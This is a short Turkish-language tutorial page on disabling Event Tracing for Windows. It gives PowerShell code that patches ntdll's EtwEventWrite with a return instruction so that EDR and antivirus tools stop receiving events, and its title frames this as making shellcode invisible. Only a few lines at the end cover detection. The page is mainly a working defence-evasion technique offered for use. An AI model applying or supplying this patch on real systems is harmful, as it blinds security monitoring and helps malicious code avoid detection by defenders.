Windows/x64 ETW Patch ile Shellcode Gorunmezligi

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    <p class="text-xs font-bold uppercase tracking-widest text-purple-700 mb-1">Modern Evasion - Windows x64 - ETW Patch</p>
    <h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 ETW Bypass - EtwEventWrite Patching</h2>
    <p class="text-sm text-slate-600 mt-2">ETW, EDR ve guvenlik yazilimlarinin process aktivitesini izlemesini saglayan Windows mekanizmasidir. EtwEventWrite patch edilerek olay gunlugu uretimi durdurulabilir.</p>
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">ETW Calisma Mantigi</h3>
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[Process calisir]
  EtwEventWrite() cagrisi  (ntdll.dll icinde)
  ETW session'ina olay gonderilir
  EDR/AV saglayicisi alir ve analiz eder

Patch yapilirsa:
  EtwEventWrite() -> ret 0  (Olay uretilmez)
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">PowerShell ETW Patch</h3>
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$p = [byte[]] (0xC3)  # ret

$ntdll = [Diagnostics.Process]::GetCurrentProcess().Modules |
  Where-Object { $_.ModuleName -eq "ntdll.dll" }

$etwAddr = [Win32]::GetProcAddress(
  [Win32]::LoadLibrary("ntdll.dll"), "EtwEventWrite")

[Win32]::VirtualProtect($etwAddr, 1, 0x40, [ref]0)
[Runtime.InteropServices.Marshal]::Copy($p, 0, $etwAddr, 1)
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    <h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Tespit</h3>
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Kernel ETW patch'lenemez (sadece user-mode)
Windows Defender Credential Guard ek koruma saglar
Event ID Microsoft-Windows-Kernel-EventTracing izlenmeli
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